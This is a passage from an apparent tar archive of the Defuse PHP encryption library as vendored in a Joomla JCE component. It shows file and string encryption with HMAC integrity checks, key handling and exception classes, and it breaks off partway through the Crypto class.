        $computed_plaintext = Crypto::plainDecrypt($ciphertext, $key, $iv, Core::CIPHER_METHOD);
        if ($computed_plaintext !== $plaintext) {
            throw new Ex\EnvironmentIsBrokenException();
        }
    }
}
com_jce/vendor/Defuse/Crypto/File.php000060400000061655152455305310013537 0ustar00<?php

namespace Defuse\Crypto;

use Defuse\Crypto\Exception as Ex;

final class File
{
    /**
     * Encrypts the input file, saving the ciphertext to the output file.
     *
     * @param string $inputFilename
     * @param string $outputFilename
     * @param Key    $key
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\IOException
     */
    public static function encryptFile($inputFilename, $outputFilename, Key $key)
    {
        self::encryptFileInternal(
            $inputFilename,
            $outputFilename,
            KeyOrPassword::createFromKey($key)
        );
    }

    /**
     * Encrypts a file with a password, using a slow key derivation function to
     * make password cracking more expensive.
     *
     * @param string $inputFilename
     * @param string $outputFilename
     * @param string $password
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\IOException
     */
    public static function encryptFileWithPassword($inputFilename, $outputFilename, $password)
    {
        self::encryptFileInternal(
            $inputFilename,
            $outputFilename,
            KeyOrPassword::createFromPassword($password)
        );
    }

    /**
     * Decrypts the input file, saving the plaintext to the output file.
     *
     * @param string $inputFilename
     * @param string $outputFilename
     * @param Key    $key
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\IOException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     */
    public static function decryptFile($inputFilename, $outputFilename, Key $key)
    {
        self::decryptFileInternal(
            $inputFilename,
            $outputFilename,
            KeyOrPassword::createFromKey($key)
        );
    }

    /**
     * Decrypts a file with a password, using a slow key derivation function to
     * make password cracking more expensive.
     *
     * @param string $inputFilename
     * @param string $outputFilename
     * @param string $password
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\IOException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     */
    public static function decryptFileWithPassword($inputFilename, $outputFilename, $password)
    {
        self::decryptFileInternal(
            $inputFilename,
            $outputFilename,
            KeyOrPassword::createFromPassword($password)
        );
    }

    /**
     * Takes two resource handles and encrypts the contents of the first,
     * writing the ciphertext into the second.
     *
     * @param resource $inputHandle
     * @param resource $outputHandle
     * @param Key      $key
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     */
    public static function encryptResource($inputHandle, $outputHandle, Key $key)
    {
        self::encryptResourceInternal(
            $inputHandle,
            $outputHandle,
            KeyOrPassword::createFromKey($key)
        );
    }

    /**
     * Encrypts the contents of one resource handle into another with a
     * password, using a slow key derivation function to make password cracking
     * more expensive.
     *
     * @param resource $inputHandle
     * @param resource $outputHandle
     * @param string   $password
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\IOException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     */
    public static function encryptResourceWithPassword($inputHandle, $outputHandle, $password)
    {
        self::encryptResourceInternal(
            $inputHandle,
            $outputHandle,
            KeyOrPassword::createFromPassword($password)
        );
    }

    /**
     * Takes two resource handles and decrypts the contents of the first,
     * writing the plaintext into the second.
     *
     * @param resource $inputHandle
     * @param resource $outputHandle
     * @param Key      $key
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\IOException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     */
    public static function decryptResource($inputHandle, $outputHandle, Key $key)
    {
        self::decryptResourceInternal(
            $inputHandle,
            $outputHandle,
            KeyOrPassword::createFromKey($key)
        );
    }

    /**
     * Decrypts the contents of one resource into another with a password, using
     * a slow key derivation function to make password cracking more expensive.
     *
     * @param resource $inputHandle
     * @param resource $outputHandle
     * @param string   $password
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\IOException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     */
    public static function decryptResourceWithPassword($inputHandle, $outputHandle, $password)
    {
        self::decryptResourceInternal(
            $inputHandle,
            $outputHandle,
            KeyOrPassword::createFromPassword($password)
        );
    }

    /**
     * Encrypts a file with either a key or a password.
     *
     * @param string        $inputFilename
     * @param string        $outputFilename
     * @param KeyOrPassword $secret
     * @return void
     *
     * @throws Ex\CryptoException
     * @throws Ex\IOException
     */
    private static function encryptFileInternal($inputFilename, $outputFilename, KeyOrPassword $secret)
    {
        /* Open the input file. */
        $if = @\fopen($inputFilename, 'rb');
        if ($if === false) {
            throw new Ex\IOException(
                'Cannot open input file for encrypting: ' .
                self::getLastErrorMessage()
            );
        }
        if (\is_callable('\\stream_set_read_buffer')) {
            /* This call can fail, but the only consequence is performance. */
            \stream_set_read_buffer($if, 0);
        }

        /* Open the output file. */
        $of = @\fopen($outputFilename, 'wb');
        if ($of === false) {
            \fclose($if);
            throw new Ex\IOException(
                'Cannot open output file for encrypting: ' .
                self::getLastErrorMessage()
            );
        }
        if (\is_callable('\\stream_set_write_buffer')) {
            /* This call can fail, but the only consequence is performance. */
            \stream_set_write_buffer($of, 0);
        }

        /* Perform the encryption. */
        try {
            self::encryptResourceInternal($if, $of, $secret);
        } catch (Ex\CryptoException $ex) {
            \fclose($if);
            \fclose($of);
            throw $ex;
        }

        /* Close the input file. */
        if (\fclose($if) === false) {
            \fclose($of);
            throw new Ex\IOException(
                'Cannot close input file after encrypting'
            );
        }

        /* Close the output file. */
        if (\fclose($of) === false) {
            throw new Ex\IOException(
                'Cannot close output file after encrypting'
            );
        }
    }

    /**
     * Decrypts a file with either a key or a password.
     *
     * @param string        $inputFilename
     * @param string        $outputFilename
     * @param KeyOrPassword $secret
     * @return void
     *
     * @throws Ex\CryptoException
     * @throws Ex\IOException
     */
    private static function decryptFileInternal($inputFilename, $outputFilename, KeyOrPassword $secret)
    {
        /* Open the input file. */
        $if = @\fopen($inputFilename, 'rb');
        if ($if === false) {
            throw new Ex\IOException(
                'Cannot open input file for decrypting: ' .
                self::getLastErrorMessage()
            );
        }

        if (\is_callable('\\stream_set_read_buffer')) {
            /* This call can fail, but the only consequence is performance. */
            \stream_set_read_buffer($if, 0);
        }

        /* Open the output file. */
        $of = @\fopen($outputFilename, 'wb');
        if ($of === false) {
            \fclose($if);
            throw new Ex\IOException(
                'Cannot open output file for decrypting: ' .
                self::getLastErrorMessage()
            );
        }

        if (\is_callable('\\stream_set_write_buffer')) {
            /* This call can fail, but the only consequence is performance. */
            \stream_set_write_buffer($of, 0);
        }

        /* Perform the decryption. */
        try {
            self::decryptResourceInternal($if, $of, $secret);
        } catch (Ex\CryptoException $ex) {
            \fclose($if);
            \fclose($of);
            throw $ex;
        }

        /* Close the input file. */
        if (\fclose($if) === false) {
            \fclose($of);
            throw new Ex\IOException(
                'Cannot close input file after decrypting'
            );
        }

        /* Close the output file. */
        if (\fclose($of) === false) {
            throw new Ex\IOException(
                'Cannot close output file after decrypting'
            );
        }
    }

    /**
     * Encrypts a resource with either a key or a password.
     *
     * @param resource      $inputHandle
     * @param resource      $outputHandle
     * @param KeyOrPassword $secret
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\IOException
     */
    private static function encryptResourceInternal($inputHandle, $outputHandle, KeyOrPassword $secret)
    {
        if (! \is_resource($inputHandle)) {
            throw new Ex\IOException(
                'Input handle must be a resource!'
            );
        }
        if (! \is_resource($outputHandle)) {
            throw new Ex\IOException(
                'Output handle must be a resource!'
            );
        }

        $inputStat = \fstat($inputHandle);
        $inputSize = $inputStat['size'];

        $file_salt = Core::secureRandom(Core::SALT_BYTE_SIZE);
        $keys = $secret->deriveKeys($file_salt);
        $ekey = $keys->getEncryptionKey();
        $akey = $keys->getAuthenticationKey();

        $ivsize = Core::BLOCK_BYTE_SIZE;
        $iv     = Core::secureRandom($ivsize);

        /* Initialize a streaming HMAC state. */
        /** @var resource $hmac */
        $hmac = \hash_init(Core::HASH_FUNCTION_NAME, HASH_HMAC, $akey);
        if (!\is_resource($hmac)) {
            throw new Ex\EnvironmentIsBrokenException(
                'Cannot initialize a hash context'
            );
        }

        /* Write the header, salt, and IV. */
        self::writeBytes(
            $outputHandle,
            Core::CURRENT_VERSION . $file_salt . $iv,
            Core::HEADER_VERSION_SIZE + Core::SALT_BYTE_SIZE + $ivsize
        );

        /* Add the header, salt, and IV to the HMAC. */
        \hash_update($hmac, Core::CURRENT_VERSION);
        \hash_update($hmac, $file_salt);
        \hash_update($hmac, $iv);

        /* $thisIv will be incremented after each call to the encryption. */
        $thisIv = $iv;

        /* How many blocks do we encrypt at a time? We increment by this value. */
        $inc = (int) (Core::BUFFER_BYTE_SIZE / Core::BLOCK_BYTE_SIZE);

        /* Loop until we reach the end of the input file. */
        $at_file_end = false;
        while (! (\feof($inputHandle) || $at_file_end)) {
            /* Find out if we can read a full buffer, or only a partial one. */
            /** @var int */
            $pos = \ftell($inputHandle);
            if (!\is_int($pos)) {
                throw new Ex\IOException(
                    'Could not get current position in input file during encryption'
                );
            }
            if ($pos + Core::BUFFER_BYTE_SIZE >= $inputSize) {
                /* We're at the end of the file, so we need to break out of the loop. */
                $at_file_end = true;
                $read = self::readBytes(
                    $inputHandle,
                    $inputSize - $pos
                );
            } else {
                $read = self::readBytes(
                    $inputHandle,
                    Core::BUFFER_BYTE_SIZE
                );
            }

            /* Encrypt this buffer. */
            /** @var string */
            $encrypted = \openssl_encrypt(
                $read,
                Core::CIPHER_METHOD,
                $ekey,
                OPENSSL_RAW_DATA,
                $thisIv
            );

            if (!\is_string($encrypted)) {
                throw new Ex\EnvironmentIsBrokenException(
                    'OpenSSL encryption error'
                );
            }

            /* Write this buffer's ciphertext. */
            self::writeBytes($outputHandle, $encrypted, Core::ourStrlen($encrypted));
            /* Add this buffer's ciphertext to the HMAC. */
            \hash_update($hmac, $encrypted);

            /* Increment the counter by the number of blocks in a buffer. */
            $thisIv = Core::incrementCounter($thisIv, $inc);
            /* WARNING: Usually, unless the file is a multiple of the buffer
             * size, $thisIv will contain an incorrect value here on the last
             * iteration of this loop. */
        }

        /* Get the HMAC and append it to the ciphertext. */
        $final_mac = \hash_final($hmac, true);
        self::writeBytes($outputHandle, $final_mac, Core::MAC_BYTE_SIZE);
    }

    /**
     * Decrypts a file-backed resource with either a key or a password.
     *
     * @param resource      $inputHandle
     * @param resource      $outputHandle
     * @param KeyOrPassword $secret
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\IOException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     */
    public static function decryptResourceInternal($inputHandle, $outputHandle, KeyOrPassword $secret)
    {
        if (! \is_resource($inputHandle)) {
            throw new Ex\IOException(
                'Input handle must be a resource!'
            );
        }
        if (! \is_resource($outputHandle)) {
            throw new Ex\IOException(
                'Output handle must be a resource!'
            );
        }

        /* Make sure the file is big enough for all the reads we need to do. */
        $stat = \fstat($inputHandle);
        if ($stat['size'] < Core::MINIMUM_CIPHERTEXT_SIZE) {
            throw new Ex\WrongKeyOrModifiedCiphertextException(
                'Input file is too small to have been created by this library.'
            );
        }

        /* Check the version header. */
        $header = self::readBytes($inputHandle, Core::HEADER_VERSION_SIZE);
        if ($header !== Core::CURRENT_VERSION) {
            throw new Ex\WrongKeyOrModifiedCiphertextException(
                'Bad version header.'
            );
        }

        /* Get the salt. */
        $file_salt = self::readBytes($inputHandle, Core::SALT_BYTE_SIZE);

        /* Get the IV. */
        $ivsize = Core::BLOCK_BYTE_SIZE;
        $iv     = self::readBytes($inputHandle, $ivsize);

        /* Derive the authentication and encryption keys. */
        $keys = $secret->deriveKeys($file_salt);
        $ekey = $keys->getEncryptionKey();
        $akey = $keys->getAuthenticationKey();

        /* We'll store the MAC of each buffer-sized chunk as we verify the
         * actual MAC, so that we can check them again when decrypting. */
        $macs = [];

        /* $thisIv will be incremented after each call to the decryption. */
        $thisIv = $iv;

        /* How many blocks do we encrypt at a time? We increment by this value. */
        $inc = (int) (Core::BUFFER_BYTE_SIZE / Core::BLOCK_BYTE_SIZE);

        /* Get the HMAC. */
        if (\fseek($inputHandle, (-1 * Core::MAC_BYTE_SIZE), SEEK_END) === false) {
            throw new Ex\IOException(
                'Cannot seek to beginning of MAC within input file'
            );
        }

        /* Get the position of the last byte in the actual ciphertext. */
        /** @var int $cipher_end */
        $cipher_end = \ftell($inputHandle);
        if (!\is_int($cipher_end)) {
            throw new Ex\IOException(
                'Cannot read input file'
            );
        }
        /* We have the position of the first byte of the HMAC. Go back by one. */
        --$cipher_end;

        /* Read the HMAC. */
        /** @var string $stored_mac */
        $stored_mac = self::readBytes($inputHandle, Core::MAC_BYTE_SIZE);

        /* Initialize a streaming HMAC state. */
        /** @var resource $hmac */
        $hmac = \hash_init(Core::HASH_FUNCTION_NAME, HASH_HMAC, $akey);
        if (!\is_resource($hmac)) {
            throw new Ex\EnvironmentIsBrokenException(
                'Cannot initialize a hash context'
            );
        }

        /* Reset file pointer to the beginning of the file after the header */
        if (\fseek($inputHandle, Core::HEADER_VERSION_SIZE, SEEK_SET) === false) {
            throw new Ex\IOException(
                'Cannot read seek within input file'
            );
        }

        /* Seek to the start of the actual ciphertext. */
        if (\fseek($inputHandle, Core::SALT_BYTE_SIZE + $ivsize, SEEK_CUR) === false) {
            throw new Ex\IOException(
                'Cannot seek input file to beginning of ciphertext'
            );
        }

        /* PASS #1: Calculating the HMAC. */

        \hash_update($hmac, $header);
        \hash_update($hmac, $file_salt);
        \hash_update($hmac, $iv);
        /** @var resource $hmac2 */
        $hmac2 = \hash_copy($hmac);

        $break = false;
        while (! $break) {
            /** @var int $pos */
            $pos = \ftell($inputHandle);
            if (!\is_int($pos)) {
                throw new Ex\IOException(
                    'Could not get current position in input file during decryption'
                );
            }

            /* Read the next buffer-sized chunk (or less). */
            if ($pos + Core::BUFFER_BYTE_SIZE >= $cipher_end) {
                $break = true;
                $read  = self::readBytes(
                    $inputHandle,
                    $cipher_end - $pos + 1
                );
            } else {
                $read = self::readBytes(
                    $inputHandle,
                    Core::BUFFER_BYTE_SIZE
                );
            }

            /* Update the HMAC. */
            \hash_update($hmac, $read);

            /* Remember this buffer-sized chunk's HMAC. */
            /** @var resource $chunk_mac */
            $chunk_mac = \hash_copy($hmac);
            if (!\is_resource($chunk_mac)) {
                throw new Ex\EnvironmentIsBrokenException(
                    'Cannot duplicate a hash context'
                );
            }
            $macs []= \hash_final($chunk_mac);
        }

        /* Get the final HMAC, which should match the stored one. */
        /** @var string $final_mac */
        $final_mac = \hash_final($hmac, true);

        /* Verify the HMAC. */
        if (! Core::hashEquals($final_mac, $stored_mac)) {
            throw new Ex\WrongKeyOrModifiedCiphertextException(
                'Integrity check failed.'
            );
        }

        /* PASS #2: Decrypt and write output. */

        /* Rewind to the start of the actual ciphertext. */
        if (\fseek($inputHandle, Core::SALT_BYTE_SIZE + $ivsize + Core::HEADER_VERSION_SIZE, SEEK_SET) === false) {
            throw new Ex\IOException(
                'Could not move the input file pointer during decryption'
            );
        }

        $at_file_end = false;
        while (! $at_file_end) {
            /** @var int $pos */
            $pos = \ftell($inputHandle);
            if (!\is_int($pos)) {
                throw new Ex\IOException(
                    'Could not get current position in input file during decryption'
                );
            }

            /* Read the next buffer-sized chunk (or less). */
            if ($pos + Core::BUFFER_BYTE_SIZE >= $cipher_end) {
                $at_file_end = true;
                $read   = self::readBytes(
                    $inputHandle,
                    $cipher_end - $pos + 1
                );
            } else {
                $read = self::readBytes(
                    $inputHandle,
                    Core::BUFFER_BYTE_SIZE
                );
            }

            /* Recalculate the MAC (so far) and compare it with the one we
             * remembered from pass #1 to ensure attackers didn't change the
             * ciphertext after MAC verification. */
            \hash_update($hmac2, $read);
            /** @var resource $calc_mac */
            $calc_mac = \hash_copy($hmac2);
            if (!\is_resource($calc_mac)) {
                throw new Ex\EnvironmentIsBrokenException(
                    'Cannot duplicate a hash context'
                );
            }
            $calc = \hash_final($calc_mac);

            if (empty($macs)) {
                throw new Ex\WrongKeyOrModifiedCiphertextException(
                    'File was modified after MAC verification'
                );
            } elseif (! Core::hashEquals(\array_shift($macs), $calc)) {
                throw new Ex\WrongKeyOrModifiedCiphertextException(
                    'File was modified after MAC verification'
                );
            }

            /* Decrypt this buffer-sized chunk. */
            /** @var string $decrypted */
            $decrypted = \openssl_decrypt(
                $read,
                Core::CIPHER_METHOD,
                $ekey,
                OPENSSL_RAW_DATA,
                $thisIv
            );
            if (!\is_string($decrypted)) {
                throw new Ex\EnvironmentIsBrokenException(
                    'OpenSSL decryption error'
                );
            }

            /* Write the plaintext to the output file. */
            self::writeBytes(
                $outputHandle,
                $decrypted,
                Core::ourStrlen($decrypted)
            );

            /* Increment the IV by the amount of blocks in a buffer. */
            /** @var string $thisIv */
            $thisIv = Core::incrementCounter($thisIv, $inc);
            /* WARNING: Usually, unless the file is a multiple of the buffer
             * size, $thisIv will contain an incorrect value here on the last
             * iteration of this loop. */
        }
    }

    /**
     * Read from a stream; prevent partial reads.
     *
     * @param resource $stream
     * @param int      $num_bytes
     * @return string
     *
     * @throws Ex\IOException
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public static function readBytes($stream, $num_bytes)
    {
        if ($num_bytes < 0) {
            throw new Ex\EnvironmentIsBrokenException(
                'Tried to read less than 0 bytes'
            );
        } elseif ($num_bytes === 0) {
            return '';
        }
        $buf       = '';
        $remaining = $num_bytes;
        while ($remaining > 0 && ! \feof($stream)) {
            /** @var string $read */
            $read = \fread($stream, $remaining);
            if (!\is_string($read)) {
                throw new Ex\IOException(
                    'Could not read from the file'
                );
            }
            $buf .= $read;
            $remaining -= Core::ourStrlen($read);
        }
        if (Core::ourStrlen($buf) !== $num_bytes) {
            throw new Ex\IOException(
                'Tried to read past the end of the file'
            );
        }
        return $buf;
    }

    /**
     * Write to a stream; prevents partial writes.
     *
     * @param resource $stream
     * @param string   $buf
     * @param int      $num_bytes
     * @return int
     *
     * @throws Ex\IOException
     *
     * @return string
     */
    public static function writeBytes($stream, $buf, $num_bytes = null)
    {
        $bufSize = Core::ourStrlen($buf);
        if ($num_bytes === null) {
            $num_bytes = $bufSize;
        }
        if ($num_bytes > $bufSize) {
            throw new Ex\IOException(
                'Trying to write more bytes than the buffer contains.'
            );
        }
        if ($num_bytes < 0) {
            throw new Ex\IOException(
                'Tried to write less than 0 bytes'
            );
        }
        $remaining = $num_bytes;
        while ($remaining > 0) {
            /** @var int $written */
            $written = \fwrite($stream, $buf, $remaining);
            if (!\is_int($written)) {
                throw new Ex\IOException(
                    'Could not write to the file'
                );
            }
            $buf = (string) Core::ourSubstr($buf, $written, null);
            $remaining -= $written;
        }
        return $num_bytes;
    }

    /**
     * Returns the last PHP error's or warning's message string.
     *
     * @return string
     */
    private static function getLastErrorMessage()
    {
        $error = error_get_last();
        if ($error === null) {
            return '[no PHP error]';
        } else {
            return $error['message'];
        }
    }
}
com_jce/vendor/Defuse/Crypto/Key.php000060400000004437152455305310013403 0ustar00<?php

namespace Defuse\Crypto;

use Defuse\Crypto\Exception as Ex;

final class Key
{
    const KEY_CURRENT_VERSION = "\xDE\xF0\x00\x00";
    const KEY_BYTE_SIZE       = 32;

    /**
     * @var string
     */
    private $key_bytes;

    /**
     * Creates new random key.
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return Key
     */
    public static function createNewRandomKey()
    {
        return new Key(Core::secureRandom(self::KEY_BYTE_SIZE));
    }

    /**
     * Loads a Key from its encoded form.
     *
     * By default, this function will call Encoding::trimTrailingWhitespace()
     * to remove trailing CR, LF, NUL, TAB, and SPACE characters, which are
     * commonly appended to files when working with text editors.
     *
     * @param string $saved_key_string
     * @param bool $do_not_trim (default: false)
     *
     * @throws Ex\BadFormatException
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return Key
     */
    public static function loadFromAsciiSafeString($saved_key_string, $do_not_trim = false)
    {
        if (!$do_not_trim) {
            $saved_key_string = Encoding::trimTrailingWhitespace($saved_key_string);
        }
        $key_bytes = Encoding::loadBytesFromChecksummedAsciiSafeString(self::KEY_CURRENT_VERSION, $saved_key_string);
        return new Key($key_bytes);
    }

    /**
     * Encodes the Key into a string of printable ASCII characters.
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public function saveToAsciiSafeString()
    {
        return Encoding::saveBytesToChecksummedAsciiSafeString(
            self::KEY_CURRENT_VERSION,
            $this->key_bytes
        );
    }

    /**
     * Gets the raw bytes of the key.
     *
     * @return string
     */
    public function getRawBytes()
    {
        return $this->key_bytes;
    }

    /**
     * Constructs a new Key object from a string of raw bytes.
     *
     * @param string $bytes
     *
     * @throws Ex\EnvironmentIsBrokenException
     */
    private function __construct($bytes)
    {
        if (Core::ourStrlen($bytes) !== self::KEY_BYTE_SIZE) {
            throw new Ex\EnvironmentIsBrokenException(
                'Bad key length.'
            );
        }
        $this->key_bytes = $bytes;
    }

}
com_jce/vendor/Defuse/Crypto/Exception/WrongKeyOrModifiedCiphertextException.php000060400000000214152455305310024224 0ustar00<?php

namespace Defuse\Crypto\Exception;

class WrongKeyOrModifiedCiphertextException extends \Defuse\Crypto\Exception\CryptoException
{
}
com_jce/vendor/Defuse/Crypto/Exception/EnvironmentIsBrokenException.php000060400000000203152455305310022414 0ustar00<?php

namespace Defuse\Crypto\Exception;

class EnvironmentIsBrokenException extends \Defuse\Crypto\Exception\CryptoException
{
}
com_jce/vendor/Defuse/Crypto/Exception/BadFormatException.php000060400000000171152455305310020316 0ustar00<?php

namespace Defuse\Crypto\Exception;

class BadFormatException extends \Defuse\Crypto\Exception\CryptoException
{
}
com_jce/vendor/Defuse/Crypto/Exception/CryptoException.php000060400000000130152455305310017732 0ustar00<?php

namespace Defuse\Crypto\Exception;

class CryptoException extends \Exception
{
}
com_jce/vendor/Defuse/Crypto/Exception/IOException.php000060400000000162152455305310016766 0ustar00<?php

namespace Defuse\Crypto\Exception;

class IOException extends \Defuse\Crypto\Exception\CryptoException
{
}
com_jce/vendor/Defuse/Crypto/Crypto.php000060400000033767152455305310014143 0ustar00<?php

namespace Defuse\Crypto;

use Defuse\Crypto\Exception as Ex;

class Crypto
{
    /**
     * Encrypts a string with a Key.
     *
     * @param string $plaintext
     * @param Key    $key
     * @param bool   $raw_binary
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public static function encrypt($plaintext, Key $key, $raw_binary = false)
    {
        if (!\is_string($plaintext)) {
            throw new \TypeError(
                'String expected for argument 1. ' . \ucfirst(\gettype($plaintext)) . ' given instead.'
            );
        }
        if (!\is_bool($raw_binary)) {
            throw new \TypeError(
                'Boolean expected for argument 3. ' . \ucfirst(\gettype($raw_binary)) . ' given instead.'
            );
        }
        return self::encryptInternal(
            $plaintext,
            KeyOrPassword::createFromKey($key),
            $raw_binary
        );
    }

    /**
     * Encrypts a string with a password, using a slow key derivation function
     * to make password cracking more expensive.
     *
     * @param string $plaintext
     * @param string $password
     * @param bool   $raw_binary
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public static function encryptWithPassword($plaintext, $password, $raw_binary = false)
    {
        if (!\is_string($plaintext)) {
            throw new \TypeError(
                'String expected for argument 1. ' . \ucfirst(\gettype($plaintext)) . ' given instead.'
            );
        }
        if (!\is_string($password)) {
            throw new \TypeError(
                'String expected for argument 2. ' . \ucfirst(\gettype($password)) . ' given instead.'
            );
        }
        if (!\is_bool($raw_binary)) {
            throw new \TypeError(
                'Boolean expected for argument 3. ' . \ucfirst(\gettype($raw_binary)) . ' given instead.'
            );
        }
        return self::encryptInternal(
            $plaintext,
            KeyOrPassword::createFromPassword($password),
            $raw_binary
        );
    }

    /**
     * Decrypts a ciphertext to a string with a Key.
     *
     * @param string $ciphertext
     * @param Key    $key
     * @param bool   $raw_binary
     *
     * @throws \TypeError
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     *
     * @return string
     */
    public static function decrypt($ciphertext, Key $key, $raw_binary = false)
    {
        if (!\is_string($ciphertext)) {
            throw new \TypeError(
                'String expected for argument 1. ' . \ucfirst(\gettype($ciphertext)) . ' given instead.'
            );
        }
        if (!\is_bool($raw_binary)) {
            throw new \TypeError(
                'Boolean expected for argument 3. ' . \ucfirst(\gettype($raw_binary)) . ' given instead.'
            );
        }
        return self::decryptInternal(
            $ciphertext,
            KeyOrPassword::createFromKey($key),
            $raw_binary
        );
    }

    /**
     * Decrypts a ciphertext to a string with a password, using a slow key
     * derivation function to make password cracking more expensive.
     *
     * @param string $ciphertext
     * @param string $password
     * @param bool   $raw_binary
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     *
     * @return string
     */
    public static function decryptWithPassword($ciphertext, $password, $raw_binary = false)
    {
        if (!\is_string($ciphertext)) {
            throw new \TypeError(
                'String expected for argument 1. ' . \ucfirst(\gettype($ciphertext)) . ' given instead.'
            );
        }
        if (!\is_string($password)) {
            throw new \TypeError(
                'String expected for argument 2. ' . \ucfirst(\gettype($password)) . ' given instead.'
            );
        }
        if (!\is_bool($raw_binary)) {
            throw new \TypeError(
                'Boolean expected for argument 3. ' . \ucfirst(\gettype($raw_binary)) . ' given instead.'
            );
        }
        return self::decryptInternal(
            $ciphertext,
            KeyOrPassword::createFromPassword($password),
            $raw_binary
        );
    }

    /**
     * Decrypts a legacy ciphertext produced by version 1 of this library.
     *
     * @param string $ciphertext
     * @param string $key
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     *
     * @return string
     */
    public static function legacyDecrypt($ciphertext, $key)
    {
        if (!\is_string($ciphertext)) {
            throw new \TypeError(
                'String expected for argument 1. ' . \ucfirst(\gettype($ciphertext)) . ' given instead.'
            );
        }
        if (!\is_string($key)) {
            throw new \TypeError(
                'String expected for argument 2. ' . \ucfirst(\gettype($key)) . ' given instead.'
            );
        }

        RuntimeTests::runtimeTest();

        // Extract the HMAC from the front of the ciphertext.
        if (Core::ourStrlen($ciphertext) <= Core::LEGACY_MAC_BYTE_SIZE) {
            throw new Ex\WrongKeyOrModifiedCiphertextException(
                'Ciphertext is too short.'
            );
        }
        /**
         * @var string
         */
        $hmac = Core::ourSubstr($ciphertext, 0, Core::LEGACY_MAC_BYTE_SIZE);
        if (!\is_string($hmac)) {
            throw new Ex\EnvironmentIsBrokenException();
        }
        /**
         * @var string
         */
        $messageCiphertext = Core::ourSubstr($ciphertext, Core::LEGACY_MAC_BYTE_SIZE);
        if (!\is_string($messageCiphertext)) {
            throw new Ex\EnvironmentIsBrokenException();
        }

        // Regenerate the same authentication sub-key.
        $akey = Core::HKDF(
            Core::LEGACY_HASH_FUNCTION_NAME,
            $key,
            Core::LEGACY_KEY_BYTE_SIZE,
            Core::LEGACY_AUTHENTICATION_INFO_STRING,
            null
        );

        if (self::verifyHMAC($hmac, $messageCiphertext, $akey)) {
            // Regenerate the same encryption sub-key.
            $ekey = Core::HKDF(
                Core::LEGACY_HASH_FUNCTION_NAME,
                $key,
                Core::LEGACY_KEY_BYTE_SIZE,
                Core::LEGACY_ENCRYPTION_INFO_STRING,
                null
            );

            // Extract the IV from the ciphertext.
            if (Core::ourStrlen($messageCiphertext) <= Core::LEGACY_BLOCK_BYTE_SIZE) {
                throw new Ex\WrongKeyOrModifiedCiphertextException(
                    'Ciphertext is too short.'
                );
            }
            /**
             * @var string
             */
            $iv = Core::ourSubstr($messageCiphertext, 0, Core::LEGACY_BLOCK_BYTE_SIZE);
            if (!\is_string($iv)) {
                throw new Ex\EnvironmentIsBrokenException();
            }

            /**
             * @var string
             */
            $actualCiphertext = Core::ourSubstr($messageCiphertext, Core::LEGACY_BLOCK_BYTE_SIZE);
            if (!\is_string($actualCiphertext)) {
                throw new Ex\EnvironmentIsBrokenException();
            }

            // Do the decryption.
            $plaintext = self::plainDecrypt($actualCiphertext, $ekey, $iv, Core::LEGACY_CIPHER_METHOD);
            return $plaintext;
        } else {
            throw new Ex\WrongKeyOrModifiedCiphertextException(
                'Integrity check failed.'
            );
        }
    }

    /**
     * Encrypts a string with either a key or a password.
     *
     * @param string        $plaintext
     * @param KeyOrPassword $secret
     * @param bool          $raw_binary
     *
     * @return string
     */
    private static function encryptInternal($plaintext, KeyOrPassword $secret, $raw_binary)
    {
        RuntimeTests::runtimeTest();

        $salt = Core::secureRandom(Core::SALT_BYTE_SIZE);
        $keys = $secret->deriveKeys($salt);
        $ekey = $keys->getEncryptionKey();
        $akey = $keys->getAuthenticationKey();
        $iv     = Core::secureRandom(Core::BLOCK_BYTE_SIZE);

        $ciphertext = Core::CURRENT_VERSION . $salt . $iv . self::plainEncrypt($plaintext, $ekey, $iv);
        $auth       = \hash_hmac(Core::HASH_FUNCTION_NAME, $ciphertext, $akey, true);
        $ciphertext = $ciphertext . $auth;

        if ($raw_binary) {
            return $ciphertext;
        }
        return Encoding::binToHex($ciphertext);
    }

    /**
     * Decrypts a ciphertext to a string with either a key or a password.
     *
     * @param string        $ciphertext
     * @param KeyOrPassword $secret
     * @param bool          $raw_binary
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     *
     * @return string
     */
    private static function decryptInternal($ciphertext, KeyOrPassword $secret, $raw_binary)
    {
        RuntimeTests::runtimeTest();

        if (! $raw_binary) {
            try {
                $ciphertext = Encoding::hexToBin($ciphertext);
            } catch (Ex\BadFormatException $ex) {
                throw new Ex\WrongKeyOrModifiedCiphertextException(
                    'Ciphertext has invalid hex encoding.'
                );
            }
        }

        if (Core::ourStrlen($ciphertext) < Core::MINIMUM_CIPHERTEXT_SIZE) {
            throw new Ex\WrongKeyOrModifiedCiphertextException(
                'Ciphertext is too short.'
            );
        }

        // Get and check the version header.
